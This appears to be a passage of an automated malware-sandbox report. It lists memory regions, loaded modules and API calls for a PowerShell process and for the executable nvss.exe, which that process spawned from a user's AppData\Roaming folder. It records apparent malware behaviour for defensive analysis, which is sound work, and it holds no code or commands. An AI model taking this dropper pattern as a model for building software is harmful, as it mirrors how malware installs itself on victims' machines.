pagefile_0x00000000001d0000 0x001d0000 0x001d0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001e0000 0x001e0000 0x0021ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000220000 0x00220000 0x002fefff Pagefile Backed Memory Readable True False False
  • Region Actions
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db 0x00300000 0x00322fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000000330000 0x00330000 0x0033ffff Private Memory Readable, Writable True True False
private_0x0000000000340000 0x00340000 0x0037ffff Private Memory Readable, Writable True True False
cversions.2.db 0x00380000 0x00383fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000000390000 0x00390000 0x0040ffff Private Memory Readable, Writable True True False
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db 0x00410000 0x0043ffff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000000440000 0x00440000 0x00440fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000450000 0x00450000 0x0048ffff Private Memory Readable, Writable True True False
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x00490000 0x004f5fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000000500000 0x00500000 0x00500fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000510000 0x00510000 0x00510fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000520000 0x00520000 0x0052ffff Private Memory True True False
private_0x0000000000530000 0x00530000 0x0056ffff Private Memory Readable, Writable True True False
private_0x0000000000570000 0x00570000 0x0057ffff Private Memory True True False
private_0x0000000000580000 0x00580000 0x0067ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000680000 0x00680000 0x00807fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000810000 0x00810000 0x00990fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000009a0000 0x009a0000 0x01d9ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001da0000 0x01da0000 0x01e9ffff Private Memory Readable, Writable True True False
private_0x0000000001ea0000 0x01ea0000 0x01eaffff Private Memory True True False
private_0x0000000001eb0000 0x01eb0000 0x01ebffff Private Memory True True False
private_0x0000000001ec0000 0x01ec0000 0x01ecffff Private Memory True True False
private_0x0000000001ed0000 0x01ed0000 0x01edffff Private Memory True True False
private_0x0000000001ee0000 0x01ee0000 0x01f1ffff Private Memory Readable, Writable True True False
private_0x0000000001f20000 0x01f20000 0x01f5ffff Private Memory Readable, Writable, Executable True True False
sortdefault.nls 0x01f60000 0x0222efff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000002230000 0x02230000 0x02622fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002630000 0x02630000 0x026cffff Private Memory Readable, Writable True True False
private_0x00000000026d0000 0x026d0000 0x026dffff Private Memory Readable, Writable True True False
l_intl.nls 0x026e0000 0x026e2fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000026f0000 0x026f0000 0x026f0fff Private Memory Readable, Writable True True False
sorttbls.nlp 0x02700000 0x02704fff Memory Mapped File Readable False False False
  • Region Actions
microsoft.wsman.runtime.dll 0x02710000 0x02717fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000002720000 0x02720000 0x02720fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002740000 0x02740000 0x0277ffff Private Memory Readable, Writable True True False
private_0x0000000002790000 0x02790000 0x027cffff Private Memory Readable, Writable True True False
sortkey.nlp 0x027d0000 0x02810fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002850000 0x02850000 0x0288ffff Private Memory Readable, Writable True True False
private_0x00000000028c0000 0x028c0000 0x028fffff Private Memory Readable, Writable True True False
private_0x0000000002920000 0x02920000 0x0295ffff Private Memory Readable, Writable True True False
private_0x0000000002990000 0x02990000 0x029cffff Private Memory Readable, Writable True True False
private_0x0000000002a10000 0x02a10000 0x02a4ffff Private Memory Readable, Writable True True False
private_0x0000000002a80000 0x02a80000 0x02abffff Private Memory Readable, Writable, Executable True True False
kernelbase.dll.mui 0x02ac0000 0x02b7ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
system.transactions.dll 0x02b80000 0x02bc2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000002c50000 0x02c50000 0x02c5ffff Private Memory Readable, Writable True True False
private_0x0000000002c60000 0x02c60000 0x04c5ffff Private Memory Readable, Writable True False False
  • Region Actions
system.management.automation.dll 0x04c60000 0x04f41fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
powershell.exe 0x21950000 0x219c1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
system.transactions.dll 0x67aa0000 0x67ae2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
system.transactions.ni.dll 0x6c3e0000 0x6c47bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.wsman.management.ni.dll 0x6c480000 0x6c504fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.configuration.install.ni.dll 0x6c510000 0x6c534fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.diagnostics.ni.dll 0x6c540000 0x6c58afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.core.ni.dll 0x6c590000 0x6c7c4fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.ni.dll 0x6c7d0000 0x6d049fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.dll 0x6d050000 0x6d331fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
microsoft.powershell.consolehost.ni.dll 0x6d340000 0x6d3c0fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x6d3d0000 0x6db6bfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x6db70000 0x6e667fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x6e670000 0x6ec1afff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
userenv.dll 0x73b30000 0x73b46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x73b50000 0x73b63fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x73db0000 0x73e2ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoreei.dll 0x741b0000 0x74229fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x74230000 0x74279fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcr80.dll 0x746e0000 0x7477afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apphelp.dll 0x74780000 0x747cbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shdocvw.dll 0x747f0000 0x7481dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x74820000 0x749bdfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x74a00000 0x74a20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
propsys.dll 0x74a30000 0x74b24fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x74b40000 0x74b4afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
slc.dll 0x75310000 0x75319fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cscapi.dll 0x75320000 0x7532afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntshrui.dll 0x75350000 0x753bffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
linkinfo.dll 0x753c0000 0x753c8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x75650000 0x76299fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x762a0000 0x762e4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cfgmgr32.dll 0x76850000 0x76876fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
setupapi.dll 0x76ae0000 0x76c7cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
devobj.dll 0x76eb0000 0x76ec1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True True False
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True True False
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x77870000 0x77874fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efa7000 0x7efa7000 0x7efa9fff Private Memory Readable, Writable True True False
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True True False
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True True False
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True True False
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True True False
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True True False
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True True False
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True True False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
For performance reasons, the remaining 11 entries are omitted.
The remaining entries can be found in flog.txt.
Threads
Thread 0xa70
(Host: 40, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Info type = Operating System False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Module Get Filename process_name = c:\windows\syswow64\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\SysWOW64\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
File Get Info filename = C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System False 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Open filename = STD_ERROR_HANDLE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 2
Fn
File Open filename = STD_OUTPUT_HANDLE True 1
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write filename = CONOUT$, size = 90 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 3
Fn
File Write filename = CONOUT$, size = 1 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write filename = CONOUT$, size = 2 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write filename = CONOUT$, size = 3472 True 1
Fn
Data
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Write filename = CONOUT$, size = 2 True 1
Fn
Data
Process #7: nvss.exe
(Host: 4130, Network: 55)
+
Information Value
ID #7
File Name c:\users\kft6utqw\appdata\roaming\nvss.exe
Command Line "C:\Users\kFT6uTQW\AppData\Roaming\nvss.exe"
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:00:58, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:37
OS Process Information
+
Information Value
PID 0xa90
Parent PID 0xa40 (c:\windows\syswow64\windowspowershell\v1.0\powershell.exe)
Is Created or Modified Executable True
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A94
0x AA0
0x AA4
0x AA8
0x AB0
0x AB4
0x AB8
0x ABC
0x AC0
0x AC4
0x AC8
0x ACC
0x AD0
0x ADC
0x B78
0x B7C
0x B88
0x B8C
0x B90
0x B94
0x BA4
0x BA8
0x BAC
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000020000 0x00020000 0x00020fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True True False
private_0x0000000000030000 0x00030000 0x00030fff Private Memory Readable, Writable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00070fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000080000 0x00080000 0x0008ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x0009ffff Private Memory True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000affff Private Memory True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True True False
private_0x00000000000f0000 0x000f0000 0x0016ffff Private Memory Readable, Writable True True False
private_0x0000000000170000 0x00170000 0x0026ffff Private Memory Readable, Writable True True False
private_0x0000000000270000 0x00270000 0x0027ffff Private Memory True False False
  • Region Actions
private_0x0000000000280000 0x00280000 0x0028ffff Private Memory True False False
  • Region Actions
private_0x0000000000290000 0x00290000 0x0029ffff Private Memory True False False
  • Region Actions
private_0x00000000002a0000 0x002a0000 0x002a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x003affff Private Memory Readable, Writable True True False
locale.nls 0x003b0000 0x00416fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000420000 0x00420000 0x00420fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000430000 0x00430000 0x0043ffff Private Memory True False False
  • Region Actions
private_0x0000000000440000 0x00440000 0x0044ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000450000 0x00450000 0x0045ffff Private Memory True False False
  • Region Actions
pagefile_0x0000000000460000 0x00460000 0x00461fff Pagefile Backed Memory Readable True False False
  • Region Actions
windowsshell.manifest 0x00470000 0x00470fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000470000 0x00470000 0x00470fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000480000 0x00480000 0x0048ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000490000 0x00490000 0x00491fff Pagefile Backed Memory Readable True False False
  • Region Actions
tzres.dll 0x004a0000 0x004a0fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000004a0000 0x004a0000 0x004a0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004b0000 0x004b0000 0x004effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004f0000 0x004f0000 0x004fffff Private Memory Readable, Writable True False False
  • Region Actions
gdipfontcachev1.dat 0x00500000 0x0051afff Memory Mapped File Readable, Writable True True False
pagefile_0x0000000000500000 0x00500000 0x00506fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000510000 0x00510000 0x00511fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000520000 0x00520000 0x0053ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000540000 0x00540000 0x00540fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000550000 0x00550000 0x0055ffff Private Memory True False False
  • Region Actions
pagefile_0x0000000000560000 0x00560000 0x00560fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000580000 0x00580000 0x005bffff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000005c0000 0x005c0000 0x0065ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000660000 0x00660000 0x0069ffff Private Memory Readable, Writable True True False
private_0x00000000006b0000 0x006b0000 0x006effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000700000 0x00700000 0x0073ffff Private Memory Readable, Writable, Executable True False False
  • Region Actions
pagefile_0x0000000000740000 0x00740000 0x008c7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000008d0000 0x008d0000 0x00a50fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000a90000 0x00a90000 0x00acffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000ae0000 0x00ae0000 0x00b1ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000b40000 0x00b40000 0x00c3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000c40000 0x00c40000 0x00c7ffff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x0000000000cb0000 0x00cb0000 0x00daffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000dd0000 0x00dd0000 0x00e0ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000e30000 0x00e30000 0x00f2ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000f30000 0x00f30000 0x0109ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000f30000 0x00f30000 0x0100efff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001010000 0x01010000 0x0104ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001060000 0x01060000 0x0109ffff Private Memory Readable, Writable True False False
  • Region Actions
segoeui.ttf 0x010a0000 0x0111efff Memory Mapped File Readable False False False
  • Region Actions
mscorrc.dll 0x010a0000 0x01100fff Memory Mapped File Readable True False False
  • Region Actions
nvss.exe 0x01120000 0x01189fff Memory Mapped File Readable, Writable, Executable True True False
pagefile_0x0000000001190000 0x01190000 0x0258ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002590000 0x02590000 0x0458ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x04590000 0x0485efff Memory Mapped File Readable False False False
  • Region Actions
sortdefault.nlp 0x04860000 0x04b31fff Memory Mapped File Readable False False False
  • Region Actions
comctl32.dll 0x04b40000 0x04bc1fff Memory Mapped File Readable False False False
  • Region Actions
comctl32.dll 0x04b40000 0x04bc1fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000004b40000 0x04b40000 0x04c7ffff Private Memory Readable, Writable True True False
private_0x0000000004b40000 0x04b40000 0x04c3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000004c70000 0x04c70000 0x04c7ffff Private Memory Readable, Writable True False False
  • Region Actions
comctl32.dll 0x04c80000 0x04e1afff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000004c80000 0x04c80000 0x04dbffff Private Memory Readable, Writable True True False
tahoma.ttf 0x04c80000 0x04d2afff Memory Mapped File Readable False False False
  • Region Actions
micross.ttf 0x04c80000 0x04d1ffff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000004c80000 0x04c80000 0x04daffff Private Memory Readable, Writable True True False
pagefile_0x0000000004c80000 0x04c80000 0x04d21fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000004d70000 0x04d70000 0x04daffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000004db0000 0x04db0000 0x04dbffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000004dc0000 0x04dc0000 0x04dfffff Private Memory Readable, Writable True True False
private_0x0000000004e00000 0x04e00000 0x04e7ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000004ec0000 0x04ec0000 0x04fbffff Private Memory Readable, Writable True False False
  • Region Actions
msjh.ttf 0x04fc0000 0x06468fff Memory Mapped File Readable False False False
  • Region Actions
msyh.ttf 0x04fc0000 0x06482fff Memory Mapped File Readable False False False
  • Region Actions
malgun.ttf 0x04fc0000 0x053e2fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000004fc0000 0x04fc0000 0x051bffff Private Memory Readable, Writable True False False
  • Region Actions
staticcache.dat 0x051c0000 0x05aeffff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000005af0000 0x05af0000 0x05ee2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000005f40000 0x05f40000 0x0603ffff Private Memory Readable, Writable True False False
  • Region Actions
clr.dll 0x6aaa0000 0x6b131fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.windows.forms.dll 0x6b880000 0x6bd15fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
gdiplus.dll 0x6bb00000 0x6bc8ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x6bc90000 0x6bd13fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
system.core.ni.dll 0x6bd20000 0x6c3cdfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.windows.forms.ni.dll 0x6c3d0000 0x6cfecfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.drawing.ni.dll 0x6cff0000 0x6d180fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x6d190000 0x6db08fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
clrjit.dll 0x6db10000 0x6db7dfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x6db80000 0x6eb3efff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
msvcr110_clr0400.dll 0x6eb40000 0x6ec12fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ieframe.dll 0x6ec20000 0x6f69ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dwmapi.dll 0x73b10000 0x73b22fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
bcrypt.dll 0x73b30000 0x73b46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nlssorting.dll 0x73b50000 0x73b61fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
uxtheme.dll 0x73db0000 0x73e2ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mscoreei.dll 0x741b0000 0x74229fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x74230000 0x74279fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
comctl32.dll 0x74820000 0x749bdfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x74b40000 0x74b4afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
